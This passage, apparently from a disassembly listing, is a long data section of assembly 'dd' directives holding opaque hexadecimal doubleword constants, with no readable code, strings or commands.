0DB60113h, 0DA2DCF5Ah dd 2052706Fh, 0E66AB116h, 23A48Dh, 2B4A500h, 0F5F49BDBh dd 9200917Dh, 0ED1E609Dh, 90FA25A6h, 823E0051h, 0AC229AC8h dd 7A252646h, 0A564203Ah, 7D383Fh, 0CF786245h, 9AEDA85h dd 4C5C805Ch, 0FC65C078h, 1703EE08h, 854BCDh, 2AA250Ch dd 0BE17AC0Fh, 0BC306FB2h, 0EEC559AFh, 7C1300B6h, 0D2ADB996h dd 0B8AEDB1Ah, 7BAB9B10h, 58F01271h, 1F0CC8D0h, 7EE5DD02h dd 0C03FA604h, 490AD9Dh, 0F652A959h, 93E0A421h, 0AA3DFDF8h dd 8C37808Ah, 38E05E2Ah, 21FC0933h, 0E8186851h, 48BC8509h dd 3980D19Ch, 83912069h, 44B0AC9Ch, 0F24A8054h, 5CD3102Ch dd 54B1309Ah, 5E62D421h, 3A276E16h, 0AE1C2401h, 0C0253E49h dd 681D3430h, 6EE481CFh, 9B99C7C0h, 0C100D777h, 55575E0h dd 16FB83Fh, 3DEBFF1Fh, 6983ADD4h, 64518B7Ch, 0E45B005Ch dd 0C44F5307h, 3F000AD7h, 24F2A7F6h, 0E6F9F013h, 5CA2E0C8h dd 9FC0E4B4h, 1CF6EB04h, 0C935B2Ch, 46177F40h, 6E12DFAh dd 1824FC38h, 8840C44Eh, 0ECFDCC3h, 7BB1004Dh, 3C24F1F0h dd 685B72D5h, 0F4187063h, 0A3C680E4h, 4F74F920h, 66C820h dd 0F1B16923h, 187FFE40h, 0CCF4A92Eh, 0FD997060h, 0DB2C2C21h dd 84AE9150h, 30137BAAh, 5846DDB4h, 9B5AD00h, 7EC168E5h dd 0F96E04C5h, 0C1FC821Ah, 32449894h, 0F4AE170Ch, 10546C3Ch dd 1F111A01h, 8291644Dh, 48191927h, 3DCAC9A7h, 0A88E29D8h dd 81A8DF00h, 456F0D0h, 0FA0160BBh, 2D0CDD14h, 48019F34h dd 18B6ECA1h, 0C3A8989h, 0C60B5C20h, 211C09D1h, 58D88962h dd 31AD671h, 9C8647CAh, 5BE0032Fh, 7A1D9432h, 0CF00A779h dd 0E68236A2h, 2AB2EF9h, 0B1CC5058h, 79789001h, 741C8985h dd 872F9C26h, 71B492h, 0B9E01884h, 0E11F94CAh, 92C90093h dd 0FBD20B7Ah, 5B4BD02h, 404E601Fh, 0C063218Ch, 8FA0C5B9h dd 0D51F67A5h, 708B045Bh, 4534103Ah, 27D400D3h, 0EE7F5DA6h dd 0BE17B06Eh, 38082B8Ch, 49AAF0Ah, 0C409D453h, 50EC40D1h dd 70BE00ABh, 0A783BDA5h, 0E112A120h, 189093B4h, 0F2AA0Bh dd 9AFEA9DFh, 430ABA4h, 70533805h, 88376934h, 0B4F39304h dd 7199DD09h, 75482046h, 0CA6E10FCh, 80129825h, 0F2FD6EC0h dd 90C64600h, 28C39309h, 2B7B000Fh, 63E4A9D8h, 1195B2D2h dd 9808669Ch, 3AC49496h, 420CB4h, 37783493h, 0FB10A42Ah dd 56009AE8h, 0BD60CF33h, 2547DCD2h, 5090824Fh, 6AF41430h dd 9315CC00h, 2B5FA4E4h, 0F7CB0069h, 9F4CE52Ch, 0F75618Eh dd 0B2F66F71h, 0D48C75E1h, 75024A9Ah, 90E6CBA6h, 65CDB68h dd 0C1CF0F86h, 208A484Ah, 40B70A1Ch, 0FD8F3598h, 250FA585h dd 271FCB03h, 0F590AA87h, 1E4D720Ah, 0FFB6A1h, 5AF36C0h dd 5C93AED1h, 57932505h, 629EB030h, 47F00743h, 0C06B5012h dd 42B17A9Ah, 9902BE00h, 1E83E6C1h, 605C91E5h, 9E5E97CAh dd 444BEA00h, 0C539E199h, 19D600D4h, 93494651h, 8300FCD3h dd 0B3C0796Fh, 17AEDC2Bh, 74DB47C2h, 0CC0A09Ch, 0CCBEE738h dd 827309F8h, 8F43223h, 51CEF4FFh, 849C017h, 8A80366Ch dd 463725D9h, 76971E7h, 0D43FE6C4h, 0FEBCC02Ch, 0BB162616h dd 0EC21C5F8h, 8850603Ah, 3D4B4C34h, 0BB80AADFh, 46497E4h dd 2D26E59Ah, 0C51204ADh, 0A6B8A4h, 0E44B35AAh, 8B7C3D95h dd 0D74100Eh, 0E1A8A540h, 0FE8E098h, 5077BEADh, 645A3B09h dd 7634F400h, 0E44BF61h, 0E86801B2h, 0BC9DD6B1h, 1069C5h dd 8CBA9B41h, 3B21BBB3h, 0D459C366h, 14103B89h, 0C707931Ah dd 0DDF4A649h, 0A30D8AF1h, 5A4DA340h, 96D20935h, 0C8303999h dd 722E6219h, 2008FC43h, 896D0EB9h, 0A5C700B1h, 4C28BEAEh dd 1C550180h, 0B9573854h, 21F8E05Ah, 967DFF04h, 0B898A441h dd 1C3A227Bh, 734F5000h, 0A95149F1h, 0F2E20074h, 2E61BD1Ah dd 6E0ADEECh, 0AC19655Fh, 7F77BB81h, 8C613AE0h, 7580E839h dd 310E2A40h, 1AFFAD27h, 0A8C6E0h, 0CBDEA338h, 0B5B031DBh dd 0FCC8A74Ah, 1B8C9268h, 31344339h, 3CEC08Ch, 8008240h dd 0D02AF3D2h, 1CA4A73h, 9AA65F6Ch, 401BA58Dh, 9936CC98h dd 1F415Ah, 0DBC1A026h, 7EDB6758h, 0C9D95159h, 17C4460h dd 705DB546h, 384D4FB3h, 218D050h, 0DB9885FCh, 4BB0ECBFh dd 0B15C82ACh, 11C1F406h, 791A6C64h, 0F0359C4Eh, 62CFF862h dd 41101AE8h, 98D049F0h, 549F00C8h, 0AD0A0BE2h, 33041590h dd 74264F07h, 0AC00E0DAh, 0FFA2C8BEh, 0D8F21D19h, 47381492h dd 2265AFECh, 5B094B60h, 53FE8150h, 0C0B7E0BAh, 930E0C9Dh dd 61182D3Ch, 19DDEF95h, 0F6B0243Ch, 7A023BCAh, 0C4D63E26h dd 0A47904E5h, 1E0957A8h, 318223B4h, 98C8A640h, 12AC990Bh dd 98CA60h, 185C06E5h, 9CDDC9h, 137029A7h, 4768910Eh, 71A6D300h dd 0D1544E69h, 9DDA096Ch, 0A0E6AB6Eh, 0A8944290h, 8F1E8D82h dd 2A8890BCh, 0AC102473h, 6401CB54h, 728994E8h, 644C0178h dd 0B84F9B20h, 68AC9DCh, 95E58082h, 0B880E1ABh, 9E04A752h dd 0CBAED06Ah dd 5E1E48E6h, 9CD5D41Eh, 5802C88h, 0B85712C4h, 0E77700D2h dd 0DDF52BABh, 6CB0A83Dh, 0AF5A1B0Fh, 9185E967h, 0C798E80h dd 0BD372801h, 0F09A0682h, 0DD1753CAh, 0F7020A5Bh, 52439FE9h dd 0BEF10F4Ch, 1F26C59h, 13F508E8h, 0A03BD421h, 0CAC52896h dd 8C5940F2h, 8FCA2D2h, 241EF0F8h, 1F211CCh, 34FE2BBCh dd 2FC4DF19h, 0DCFF09D3h, 7040D770h, 0C689FDA8h, 8200482Dh dd 0C1ACD013h, 0F079A11h, 73A39DFEh, 44DC8562h, 0CA494AA4h dd 0C730078h, 40905867h, 0EFB09Fh, 6F71D59Eh, 606A5949h dd 3AF5B213h, 430EBCD0h, 0F8FE029Ch, 0A16944Ah, 56BBC60h dd 5F3C8902h, 6C26DEBBh, 478A4A14h, 707885F0h, 0EE360C2h dd 4B2B3F00h, 7D7CEC1h, 8F310197h, 202126BBh, 99683CB7h dd 0B6F0B84Ch, 2B1C00E5h, 0FA4009C0h, 4B1F78EEh, 0E085A9BCh dd 0C06271FBh, 0E08F293h, 0BAF297D1h, 7CA55E4Fh, 7AEC8CD0h dd 6200B5B8h, 11A59A63h, 0E44A409Fh, 0FBDA27D4h, 684AB84Ch dd 6F7A70D0h, 6B2600AEh, 4CEA67B3h, 0DB008076h, 2304E459h dd 2FD021FEh, 0A400AC18h, 8995C76Ch, 0F866BA44h, 49000E1h dd 9B4F2E85h, 1600DAADh, 0FF2832F2h, 2FECE2h, 37839653h dd 0B05A49AEh, 93C1894h, 94DB1AD6h, 0B885247Ch, 40B9446Ch dd 0A5963CDAh, 0E0860072h, 0CDC6F0F1h, 0C5008F21h, 0E8E4AF50h dd 0B16A6427h, 0B94A448h, 0D0004045h, 80A9D77Ch, 3896FF71h dd 2559050h, 29B18B52h, 3C564F53h, 0B96B9263h, 298A54h dd 0FCD99EC9h, 0C0EB6CACh, 2AF200h, 5B1A9D23h, 651CC519h dd 5AFAD900h, 6D4C8356h, 0EF10007Bh, 7690AEF3h, 28CF5E9Ah dd 0E6B3602Fh, 0C00C8647h, 0ADE05710h, 0D90ED8BAh, 0E4059011h dd 0FBC17837h, 61BD1E9Ah, 52CFDE00h, 0EA49CB71h, 0F0B53D00h dd 79D9058Eh, 18C473EDh, 311F9FE6h, 0A900E458h, 8A123B17h dd 38D5B8h, 0B4876F59h, 0E1D0ED9Bh, 60F2706h, 8840E0h dd 80E2895Eh, 7620D58h, 18423600h, 8EFC8602h, 0E1F60771h dd 0F01A68C6h, 0C489C729h, 0F000B1FAh, 5E437B3Fh, 0C016A09Ch dd 3D837881h, 0DB010EB6h, 0C4BEC032h, 0D8D37496h, 0F272884h dd 9AC5E4DDh, 0C246F8E0h, 570E8F6Fh, 0C36622Ch, 2B08E5h dd 92A0C767h, 0BDE71D5Dh, 81CE0B3Eh, 485BCC60h, 0D9E01B2Bh dd 1D38CB2Ch, 0DF2102DFh, 0D0E3C010h, 99F600CCh, 0CA8ECD54h dd 6A034CD9h, 9F5B76B1h, 2C600074h, 0FEADF342h, 0AC0FDCB0h dd 83CFB329h, 387F0E69h, 0E23F6648h, 628C2483h, 39005C45h dd 50DF644h, 2173E92h, 99868358h, 0E97EC4D0h, 4031980Eh dd 0FDBAF402h, 53833873h, 43D9E430h, 3000D884h, 15AB7767h dd 196CCFBh, 126DC3B3h, 415E995Bh, 50606850h, 8B07EF8Ch dd 5082E009h, 1342007Eh, 156A431Bh, 848A498Eh, 0B30A6900h dd 6094366Ch, 0D3006EFEh, 7C8CB6Ah, 3066A83Eh, 5950370Fh dd 0C7004387h, 0B1FD9493h, 0AFFAB2h, 70810BDBh, 247A8232h dd 0D3713105h, 801D7D72h, 5D403Ch, 2488DA6Ah, 0E52609FBh dd 3F004E7Bh, 8DCB8CA7h, 1E55B132h, 403B3Ah, 0D9D0398Eh dd 3F035B9Ah, 0AD6FC50Fh, 30D9062Eh, 580DE11Bh, 0C606D6F0h dd 31B07210h, 24C80721h, 0B5DA80B1h, 8C8C005Fh, 0FDD54DE1h dd 99D3C900h, 7EC8545Bh, 0BAE90A8Eh, 20B87401h, 47A614B0h dd 3102AC0Bh, 2FF0995Eh, 0A58C4902h, 0F805F98h, 0C5B6BBh dd 0A1B3574h, 80DE8F61h, 233A3F09h, 272C18A1h, 0A0A468h dd 526DDE4Fh, 7432A73Dh, 7B808800h, 5CA43807h, 10D715Dh dd 0AA61E92Fh, 715B732Ch, 42A0101Ah, 1C006E8Eh, 8A3D8599h dd 9021785Fh, 494870F8h, 660014C2h, 6CE53E28h, 4491B319h dd 0C161F581h, 48D2AD5Ch, 0B45A14h, 4D8F9E2h, 86498C62h dd 0ACAAE1C0h, 5E7E14h, 664DF15Ch, 0CED47445h, 6F2A85B8h dd 3650BCB0h, 394941D4h, 670B83A4h, 5B210043h, 0B485B7CEh dd 0E9008613h, 5E4E532h, 4BD8C2Dh, 4258937Fh, 0F4188C3Ah dd 10BAEF06h, 54D85EEEh, 0C0A8E01Dh, 96603ABAh, 0CAE63427h dd 0C857491Eh, 40351D4Fh, 1B2DC15Fh, 0A14761F3h, 50EFC68Bh dd 0C8418C8Ch, 0D955E218h, 4913FEF1h, 0F683A4CDh, 3CC214CBh dd 6B2087h, 0A5CEC0F3h, 0EA28200h, 0F97940FBh, 28DA38DBh dd 0E0A11F30h, 0DF0081A6h, 0A2C92ED6h, 5F74F6Ch, 0FB9824CCh dd 2C63805Ch, 7355435Bh, 76C04CE8h, 0D3ABAE00h, 2665B9F1h dd 28614C1h, 0CBC084F0h, 0C48A41DEh, 1BD1BB65h, 78A9A3C6h dd 735C13D1h, 0CB8820ADh, 69C06846h, 42035866h, 0E8A5398Ch dd 0E88E6F9Fh, 45DD0014h, 7D176C79h, 660CCCF9h, 0B0B023CEh dd 0C7E433D1h, 67E007E1h, 0C9F4699Dh, 0C39EBD00h, 0DEAFE1CAh dd 1343AABh, 82B07Bh, 7B261DC4h, 414F70DFh, 6D5CF02h, 0C02F3829h dd 772D59ABh, 0A77FEEh, 88F7C1B2h, 2CF4262h, 3168B033h dd 0A3B8FB98h, 0BA75E0EBh, 615970BCh, 8F9D1007h, 845EC418h dd 49740900h, 0C724A25Dh, 52B800ABh, 0F2409E35h, 934CA795h dd 674960AEh, 62B12D84h, 0AE781811h, 0F461E021h, 0B6B7880h dd 6C912495h, 7D25A600h, 0E7A5734Dh, 14BB3C04h, 4FAF9681h dd 0D4177FCFh, 0C7060AB9h, 0C8C135DDh, 0A6EB00B8h, 386DA74Fh dd 86FCE60Eh, 1B846901h, 0E3A46BE4h, 0C340160h, 3AE7F247h dd 0B500D580h, 452A992Fh, 0F8592758h, 1EF0AAAh, 8088EDB9h dd 63517DE6h, 0C701CCADh, 1F3EE807h, 0CE39CAFh, 0A8FDC220h dd 66005180h, 855268ABh, 1C7370B3h, 0C9314035h, 6F85B145h dd 4C35829Bh, 2CE0A890h, 43B689C5h, 0B79477C0h, 565C7252h dd 360CA881h, 0AFE9F86Ah, 0B6001178h, 27D16625h, 0A5803Eh dd 6A990262h, 0C0D5C6B9h, 310BE0B7h, 3980EDC2h, 215B107h dd 0F1F5D94h, 0FD2060h, 0A0E31DD7h, 9F2E609h, 0DEC019B8h dd 40FC0C01h, 4AA19805h, 78ACBAF8h, 2A900019h, 0B00AC741h dd 68C1EA55h, 30E7AF64h, 0C076319Ch, 0C248FCDh, 36F0EF55h dd 3E11FC03h, 0E060AE0Ah, 3EAD994Eh, 19020B4Fh, 0D1B1B5F4h dd 6835CAFh, 0C2D02497h, 8201BA67h, 6FB12BAEh, 20800389h dd 0A23A24Fh, 0A00058CCh, 52619027h, 15780Eh, 5179EEA4h dd 0CAE83228h, 3817A601h, 0AE0C3C70h, 50FC5C4Ch, 0B0037424h dd 540B24F8h, 0AD010533h, 28F44099h, 67C865F7h, 0F4074E02h dd 45623925h, 2E112Ch, 56E6B854h, 54BA08D8h, 62BF5C2Ah dd 4C93B0CFh, 23E8444h, 0C369E2B9h, 752848F7h, 0A7BD0076h dd 0EE9342Dh, 0C0A117AEh, 56FC11FBh, 1858D04Dh, 505348C1h dd 0B6B88680h, 0D43C5F93h, 0ABEC0EC5h, 7FD620CEh, 0C091E61h dd 984C7B05h, 21005A31h, 13195B46h, 2A8DC2Bh, 0DEE016D3h dd 78B1D04Eh, 0DCCD1138h, 90A59EC8h, 0EDAF004Bh, 21A132DEh dd 30152EEh, 48F2968Ah, 4C409D4Ch, 1153557h, 4A10497Dh dd 0F04F1B02h, 2C50F8DBh, 220C3E6Ch, 70BC1E53h, 0ED872001h dd 34BF0600h, 0C054DD51h, 0A7524C7h, 2FE90224h, 0ACA0ABD7h dd 23176E03h, 6C2D0800h, 0DA3C634h, 38D41D57h, 0B105CA39h dd 0F6C242BCh, 9EE22820h, 0B9F0A42h, 8B46B23h, 5314F49Ch dd 0DCA58094h, 1C5FB12h, 0F82B44F9h, 2013C782h, 502F412h dd 631E9326h, 398C4142h, 43A33810h, 0A700AEFAh, 0DFB5941Ah dd 12222D56h, 674E3BD6h, 71892C0h, 74505B07h, 447AF7h dd 0F69286D5h, 0D4E76494h, 0D1A3E401h, 1E789AFBh, 20E03193h dd 25665B70h dd 0A644BA00h, 8F50416Ch, 34E5304Fh, 74664321h, 60E4B400h dd 28EC1F23h, 0EA6D01BDh, 0EF53B85Eh, 5102CD2Ch, 0F87448C0h dd 5714FDD7h, 22E81A7Ah, 0C59C006Fh, 8A55B5EAh, 0AC02DD04h dd 0A4D1B6Ch, 7FD49835h, 0B4F454C5h, 8D20070h, 38245C5Fh dd 9714B643h, 2298827Eh, 4815002Ch, 3879FD3Dh, 903BA027h dd 0A51C129Bh, 0B0A34462h, 0B8D5C79Ch, 69F5602Fh, 8496458h dd 0B1460B09h, 0E6C4A04Eh, 0A4634AFFh, 0A89944ECh, 5D074B01h dd 0D0D6E846h, 0CEF0B421h, 90F26EBh, 0A82E621Ch, 8C9314C1h dd 71F8C239h, 0ED1B07BBh, 0F0FA4B6Fh, 0B9EF0BC3h, 0AC7C30F7h dd 0D4C5F105h, 6048E83Ch, 1D6C2D0h, 52B5E4A0h, 68E89875h dd 0CCFC8204h, 20C3B832h, 0AA79D904h, 6DD17510h, 0C5B9D400h dd 8DD84F9Bh, 47AE0C7Ah, 0C2F132B1h, 4FB59h, 0E61FC91Ch dd 0BCB44C4h, 8A25070Dh, 3EC3E030h, 2AF68498h, 0DFC1F13h dd 93A66C20h, 5C9950h, 0CC0B0F19h, 9D507017h, 955553F0h dd 0D3D7D888h, 40E5F400h, 56ECD9CBh, 8EE7016Ah, 1B971221h dd 0C8C3601h, 59AD7898h, 4C0498BDh, 4A34F8CAh, 2F14C2C1h dd 6B0B0C66h, 0B8A49513h, 3433C3Ch, 0D520BF19h, 76EFC6AFh dd 0A830F9CFh, 914AD46Ah, 799318A4h, 0AC0271C7h, 52BC2C99h dd 3E472268h, 6B004C95h, 3BC9E5DEh, 1B1F27AEh, 9C40A076h dd 0BF0F79F8h, 78B14CE4h, 0B136E7C6h, 81913500h, 253F4B66h dd 2B4C0079h, 36CC2CBDh, 0E090AE2Ah, 48807D53h, 97F310F4h dd 198ED618h, 0E800750Ah, 3554DA11h, 0AC6B22CAh, 53C61880h dd 7233B19Bh, 65AC4C00h, 75AB8C42h, 0B1A61EA4h, 0B8BD9434h dd 28B75317h, 3A0740C4h, 55F3DC82h, 0F1B83970h, 0BBAE1DF0h dd 3760F29h, 0C7AC5080h, 0B426CA3Fh, 6AC07406h, 4C9D309h dd 0FC14C581h, 359CC80Eh, 8994EE5Ch, 0E9D090D6h, 0D83D01BDh dd 3A3B90E6h, 11407780h, 0F4583456h, 0C741F637h, 5190C47h dd 0A85ADB2Eh, 90A18243h, 3C253EBBh, 0BE05B74Ch, 61A231Dh dd 598C02A8h, 68284924h, 48207964h, 7EF410F1h, 0B4D0CFh dd 28F4F5C6h, 7B931B71h, 0C5C029C8h, 5B2CE56Bh, 0F5012843h dd 0D831B2A3h, 9C428859h, 9C072505h, 0BB00BA84h, 13FBF4Eh dd 18ABB2D1h, 0A8153EE3h, 0B0B99697h, 0ADD6066Eh, 8D493A81h dd 7CAEAC38h, 0C5650082h, 53E3CA0Dh, 6E49h, 0F2364F2Fh dd 28D1F993h, 12E0DCADh, 62CD126Ch, 0E5209B70h, 0E05C2FDFh dd 8525009Ah, 0F4059538h, 0D9485F30h, 0A062A26Ch, 0B7C30FECh dd 7E0900E0h, 823E0233h, 0B201A184h, 0A8450E30h, 702028D2h dd 0BE4494CCh, 7DEE1CF6h, 1412C75Bh, 2471C080h, 0FB0A4D35h dd 84BC5AB7h, 0CB381B11h, 0D78008D8h, 91F6AFD9h, 6836BA09h dd 8980316Ah, 3BC343C0h, 0C9250DAFh, 0A8F58430h, 25279B83h dd 2818BFBEh, 0B0A47498h, 2440BC4Ch, 6240545Ah, 795B5966h dd 47D20B53h, 8C04C5DAh, 3FE7467Eh, 457700A1h, 0DC17895Ah dd 540939D2h, 30123CC4h, 2501AC2Ch, 0B8A57B84h, 33C4176h dd 0FCA45743h, 0B952D6C0h, 1BE100F8h, 0E43D7334h, 900D00A0h dd 9959BCE3h, 69134284h, 5C72D2DBh, 6AE8209Ah, 0FB00348Fh dd 4C3E2620h, 3DE0D99Eh, 0F51288CDh, 6370CDE3h, 11410070h dd 498A9ECAh, 51E8006Fh, 4778FE17h, 0D4BA1042h, 32C5542h dd 77C36380h, 0D3EAE180h, 0EFA3E0Ah, 0E308E8CFh, 80642997h dd 12B5B4EEh, 59E48ABEh, 2101B091h, 76D91EE9h, 39BC9C58h dd 4902D3A3h, 7B9AEEBAh, 0BC27D111h, 3114721h, 3EDC84C0h dd 7E1CC2B4h, 0EA9501AFh, 4CC32EC4h, 0B1A7B947h, 0DC65E240h dd 0B0AE5C0Dh, 4FC1CC12h, 0E1000960h, 7BE94F02h, 0A4F50E00h dd 860FA2FAh, 40297E68h, 0F1D0AFA3h, 72C0DCE4h, 938431F9h dd 0AF81006Bh, 70389F25h, 990BC716h, 0B0D24928h, 45C56D98h dd 5580FCF8h, 4845250Eh, 8FB080DBh, 14DE5ECEh, 0AC0B3E3Dh dd 0C421CBC0h, 0F312E602h, 0ACCCAF5Dh, 28FE50C2h, 0CB8E008Ah dd 0E2DEFCB7h, 32011D55h, 0CB6755Dh, 0C237A83h, 1F00044Bh dd 505C8CB2h, 0B39158B3h, 0ADC1785Ch, 0D0FE8121h, 55485865h dd 19FD05B2h, 743114EAh, 60297293h, 60907527h, 200E8D1h dd 5BC3E39Eh, 58AF2DAEh, 0F502B860h, 0CE163615h, 0C0C6CCA4h dd 2D54B5ACh, 5C6AEA09h, 0C60C3074h, 0BFB4BBB4h, 9000F4C4h dd 5991FACAh, 5C6EEDh, 1528FB3Eh, 0DE7F0AF5h, 0BCB3612Eh dd 78904D12h, 8F6DB4h, 12E3EC9Fh, 89A8E8B8h, 53223D09h dd 0AD586866h, 0B31C064h, 0A7502D55h, 5827C275h, 8443003h dd 0FB601DC7h, 443490Dh, 6026104Dh, 0D28C87C9h, 0D1AF1248h dd 143055A0h, 0E20004B2h, 0FADAF1F2h, 920128E9h, 0AD43BFF9h dd 38638719h, 65220880h, 0D72A5679h, 0A7007C32h, 6B2E20BDh dd 0F6DFC75Ch, 85182584h, 0DE48C818h, 265D6A03h, 3BC2C5DDh dd 8F80C9A1h, 0D10EA708h, 6A1DFCE7h, 0D6801594h, 3989B95Fh dd 61134ED7h, 267598F4h, 22CC48F4h, 649902C7h, 5F35958Eh dd 0CA7ABC84h, 0CD0900C8h, 0ADD20FC0h, 0F0E00737h, 48FB0D29h dd 223648C1h, 778A448h, 0F7B784BCh, 806BF473h, 0C1A26F38h dd 18375812h, 0A4D6A021h, 526E8980h, 8C860328h, 8DF4D401h dd 0AF71E3CDh, 0F722BC26h, 5202ED79h, 8EC35FEh, 56FCE699h dd 0CB12F410h, 220800D5h, 2427F554h, 0A370C00h, 35405176h dd 0FFCA73E8h, 0FC176C62h, 3D383082h, 0EAE4D1D3h, 0E620FF61h dd 0F21F59h, 5A206A12h, 0DD48D700h, 78EFFAFDh, 0EC8A0663h dd 2805CF45h, 5658A398h, 3DD42250h, 0D905A475h, 0CCE9A6A8h dd 690195E4h, 54CCE340h, 3770870Ch, 0E637EE0Dh, 0C7C32E78h dd 0CC4E16B4h, 4A718B08h, 84F484Fh, 0F3E606Ch, 3E6B8DAEh dd 69807336h, 4F2D3CFCh, 531225A4h, 0AC4B3B95h, 27D04CAFh dd 0F4817E9Dh, 928C7A93h, 8420E069h, 0FF6AABAh, 4F9BF3A0h dd 428193BCh, 8C4C9AECh, 0D680A459h, 799BC165h, 4A40A08h dd 60A4BCD3h, 66AE56B3h, 3630F463h, 1C95F425h, 57F0F000h dd 4CCD4D52h, 9C7FCEAh, 0BF31108Bh, 0EC00C530h, 0FFC4709Fh dd 5FA68FEh, 95FDF30Ch, 39832CDh, 45004879h, 0C5B4FB08h dd 46E12464h, 95C10900h, 23359C82h, 0AF0E0044h, 0A387410h dd 299C986Dh, 61872A22h, 4E9825B4h, 0DF00FC14h, 57AC43ABh dd 0B4CD3Fh, 95912D3Ah, 4167B87Dh, 0D9030404h, 28C84C68h dd 8BB900A0h, 29A89261h, 9D094ADFh, 0C81C366Eh, 4C0DFC34h dd 6A8E5432h, 0AE571291h, 0AA028CC3h, 744C859Ah, 6C0DC2Ch dd 0BBD6B641h, 0B621062h, 72B101E8h, 2F2D00D8h, 8152FD2Ch dd 7B04C669h, 4A5355Dh, 0C906A883h, 0E907B316h, 1B212C82h dd 259420Fh, 78A10007h, 0F7003F56h, 0D46E3D4Eh, 0BEF9783h dd 0C1D8BD49h, 79278380h, 945257E1h, 3E0EC0BCh, 4E40D98h dd 0E56A17ABh, 38001630h, 8E872A80h, 2E810037h, 9AB47C4Dh dd 0AE050773h, 0E314C147h, 0B000D4B6h, 27335F4Dh, 0D6ECD7CEh dd 40CBA500h, 9BF92886h, 53B315C2h, 81008096h, 0D9509A35h dd 0A424197Ah, 1C942086h, 98A78044h, 0B9ABF879h, 0FC49E28h dd 37C0237Dh, 95FE7653h, 81E3A438h, 5077340Dh, 70783312h dd 701A1E80h, 4B0FFF5Bh, 4019B7C3h, 2C17DF44h, 0A1F8A33Dh dd 53017574h, 7DCD1041h, 152B0011h, 8DB3DD3Dh, 0C91ED51h dd 0D2C58B04h, 92AA7440h, 0D0F37721h, 460480B5h, 0D3116B26h dd 974E2843h, 7C0F93Ah dd 0C4256AA9h, 0EC193542h, 7A3F0E04h, 17C04F0Fh, 34A31E1Bh dd 50DB8009h, 0E98CE03Bh, 30B906D0h, 61C65398h, 0ACB30208h dd 0AE0B02C8h, 6484FED8h, 42DFA822h, 78E84C8Ch, 106A5600h dd 89C9D158h, 0F574004Eh, 53ACDF84h, 8B0FE54Fh, 4E765960h dd 0E9CB00BDh, 14119BAh, 8CA37FDDh, 70356B66h, 0E01759E5h dd 18618501h, 5830EF2Bh, 93F800EDh, 9186AAFh, 0F600EA0Dh dd 5A2FB73Fh, 982915BBh, 141A00CCh, 8BAAEBDBh, 0C006967h dd 0FC57339Dh, 0F4B3788h, 99CCEF4Dh, 201F4AA0h, 0B33201A8h dd 6061E17Fh, 486A3678h, 1180E0D0h, 38CC0A4Dh, 1B6DB800h dd 80A9D18Ch, 2F69011Eh, 0AA709509h, 0D43ED0DBh, 0AF135200h dd 0CBAB33F2h, 0EFF407C6h, 704FA559h, 77E6E3E8h, 8989043Fh dd 48C23C48h, 0F85CDB8h, 0DE42F15Bh, 255D6DC0h, 8100953Eh dd 0EF8682ACh, 720C679h, 6B96CBB9h, 0DD4520C4h, 3D00C1FEh dd 8BBF5170h, 1205FF75h, 5931B84h, 0C04E7D6Ah, 0C6C8A227h dd 0AFE90B09h, 797890E7h, 0D7A901DCh, 5FC9EE5Ch, 0DDB3D8C3h dd 255B1600h, 0CF8F31A3h, 1D981F5Ah, 0E6B1408Bh, 9E8502D3h dd 78085899h, 0B610BEC8h, 0B1450EAh, 4064D612h, 0C15BC07h dd 34D00374h, 0E4B11D2Ch, 6CC91F3Fh, 0FA2840F3h, 0F7EDF93Ch dd 0A4840E00h, 0B005CC19h, 0C251C566h, 6F9440FCh, 691897A3h dd 2BD48400h, 129FE3BDh, 0CC614CC5h, 0A48F60C0h, 21000B68h dd 71F1A0F3h, 62304F4Eh, 59BF48ACh, 0B44986E2h, 0CDDB1034h dd 0B0A2018Ch, 0E711F6E2h, 698EEC25h, 0FD7B4700h, 0CD7724C3h dd 0DC2D2484h, 0E54E8D10h, 9EADE049h, 954F031h, 198335E7h dd 9918EEB5h, 72069898h, 61A75A01h, 0A5F3A953h, 82D7EC40h dd 858A03C7h, 832B24Bh, 0CA52FF2h, 0E7A48C0Ah, 0A93B9E00h dd 461AC8AAh, 0DECA00E5h, 0BC73603Ch, 20000851h, 0A48AECDh dd 4CE413A1h, 0B757C6Dh, 0D30137A4h, 0F7005066h, 5C14A6EDh dd 0E46F25FDh, 0B1AF0310h, 2CD1341Fh, 0F9E147A8h, 54C21940h dd 1D17C4FFh, 409ADB28h, 87329C1Bh, 0D70580E1h, 0C5E530E2h dd 120C88h, 0FD21BAD1h, 4E0B2C2Eh, 0B4F1A301h, 62A402E4h dd 884AB473h, 87909004h, 62B9BA09h, 1C588103h, 30AC75C6h dd 7630305Eh, 0D5C9302h, 0A6F50438h, 0AB484FB1h, 0A060D58Eh dd 0CB6D2499h, 7512CADh, 45C76484h, 3C98031Fh, 897E0018h dd 6D1AB29Dh, 2D00B839h, 9BEEC8E6h, 3A96FAh, 1125A263h dd 0EB1C5E46h, 0E68B8C17h, 0B0608025h, 53FB6Bh, 0C9FE504Ah dd 2B79F36Ah, 32B73801h, 0FDA5BBEEh, 8DF2A03Fh, 47D1B107h dd 0EC80A686h, 2EE0C899h, 881C03CBh, 0D68CFB25h, 6DE1C0h dd 7FC7B32Ah, 0DCFB4CD7h, 5116B9EEh, 2C223311h, 938A18D1h dd 0C2D26281h, 46F84696h, 0B0B426B8h, 50CB0Fh, 0A47D7C12h dd 0D007005Dh, 2E8AE5A7h, 0B700AA55h, 0E6A37CEh, 0FB7CB0h dd 5CEEA0FAh, 799389D1h, 0DDE4D21Ch, 0E8E6918Bh, 4C2ACDC4h dd 9417052Bh, 0F12A0313h, 0F288DD22h, 93127A79h, 50041C26h dd 4600CF40h, 0A7BAD680h, 8BCD070Ah, 761868BEh, 0D37430h dd 1D40CCA9h, 586D6B59h, 782A4B07h, 89EFBA45h, 224400EBh dd 5835B394h, 0C787901Dh, 20232978h, 0E682C820h, 0A0A7DC90h dd 3A5B38h, 0DA842350h, 73452BBh, 0D71558BFh, 0E2AEE092h dd 594C8187h, 5F78806Ch, 7DC4B739h, 34D7007Eh, 2C5323E3h dd 2828B2E4h, 7922BC67h, 36100CADh, 0FC91C424h, 142C814Ah dd 5DD8A078h, 30CE2C77h, 82440FCh, 0A606ADD3h, 414D54FCh dd 72BF0331h, 2DDA4887h, 848957E0h, 8C8DE000h, 52FCC32Ch dd 29C00044h, 0C660116Ah, 0AF06F815h, 1CD60D5Dh, 0E0F4C9h dd 29EF9D7h, 1E18B58Fh, 0AB559100h, 0E8164862h, 5A200469h dd 851BAC76h, 0B33832ABh, 2127A19h, 0A0B37D04h, 4B57620Eh dd 783E414h, 210024FCh, 780DA6D5h, 0B49E83F9h, 